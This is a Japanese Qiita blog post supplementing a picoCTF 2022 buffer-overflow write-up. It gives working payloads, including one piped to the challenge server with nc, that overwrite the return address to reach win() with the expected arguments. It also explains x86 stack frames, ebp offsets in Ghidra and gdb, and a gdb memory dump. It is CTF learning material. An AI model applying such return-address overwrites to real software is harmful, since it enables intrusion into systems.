0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF2022 buferoverflow2 追記

Posted at

win()の9dに飛ばす場合は、

└─$ echo -e '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012340000\x20\xcf\xff\xff\x9d\x92\x04\x08\x00\x00\x00\x00\x0\x0\x0\x0\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' > input2.txt

win()の9bに飛ばすなら

└─$ (printf '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234000090AA\x9b\x92\x04\x08\x0\x0\x0\x0\x0\x0\x0\x0\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0'; cat )| nc saturn.picoctf.net 55165  

winの0804929dについて

vuln()呼び出し時のスタックは

local
ebp
return(vulnからmainへの帰り先)
ebp
return(main)

でこれをwinに書き換えるので
5678
90AA(old_ebp)
winのアドレス
0x0000
arg1
arg2

でghidraでは以下のようになり、引数がebp + 0x4とebp+0x8になっている。
ebp+stack[0x4]:::現在のスタックフレームの先頭から0x4の位置
スクリーンショット (75).png

gdbの場合は、ebp+0x8 , ebp+0xcとなっていて気づくまではまった。
スクリーンショット (76).png

で、9dのpush eax命令に飛ばしたい場合は、winへのアドレスの上に任意のebpを乗っければよいので、win関数の比較命令直前の 0x0804930cにブレークポイントを打って、

   0x08049309 <+115>:   add    esp,0x10
   0x0804930c <+118>:   cmp    DWORD PTR 
x/70x $ebp     ebpから70個のアドレスの中身を出力

pwndbg> x/70x $ebp


pwndbg> x/70x $ebp
0xffffcec8:     0x3635343332313039      0x3433323130393837
0xffffced8:     0x3231303938373635      0x3039383736353433
0xffffcee8:     0x3837363534333231      0x3635343332313039
0xffffcef8:     0x3433323130393837      0x3231303938373635
0xffffcf08:     0x3039383736353433      0x3030303034333231
0xffffcf18:     0x30303030ffffcec8      0x0000000000000000
0xffffcf28:     0xf00df00dcafef00d      0xf7f9de14ffffcf00
0xffffcf38:     0xf7d8cd4300000000      0x0000000000000000
0xffffcf48:     0xf7d8cd43f7da6069      0xffffd00400000001

0xffffcf28: 0xf00df00dcafef00d 0xf7f9de14ffffcf00
に比較する値があるので、ebp+8に合わせるように、0xffffcf28-8して0xffffcf20を入れる。
そうすると、108文字+ffffcf20+win_Adress+......のようになる。
スクリーンショット (78).png

また、有効なアドレスを指定しないと
0x80492c5 mov dword ptr [ebp - 0xc], eax Cannot dereference [0x32cffff3]
のようなエラーが出る。

0804929bに飛ばす場合

当初誤解があって、ebpが書き換わるなら別に、ebpをpushしなくてもいいのではと思っていました。
比較命令で、ebp+8とebp+cがあるので

5678     <-esp          
90AA(old_ebp)  <-ebp    
winのアドレス            
0x0000
arg1
arg2

② vulnのret後

5678
90AA(old_ebp)
winのアドレス 
0x0000     <-esp  
arg1
arg2
........<-ebp(90AA)

③ win呼び出し時

push ebp
move ebp, espにより

old_ebp <-esp <-ebp
0x0000
arg1
arg2

となるのでこの場合は、112文字+win_address+0x0000+arg1+arg2で問題ない。
しかし、push ebpを飛ばすと、

0x0000 <-esp <-ebp
arg1
arg2

になるので、ebp+8に合わせるには、0x0000を追加しないといけない。
また、ebp+0x4の場合は、スタックを開放する向きなので、現在より以前の情報にアクセス
ebp-0x4の場合は、スタックを新しく作る方向なので、現在の関数のローカル変数等にアクセス。
subでスタックを作成
addでスタックを開放

また、x86 32bitの場合、mainから呼び出せれた関数で func(a,b)のような場合、callの直前でstackに積まれて渡される。なので

func関数
old ebp
return address
a
b
main関数

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?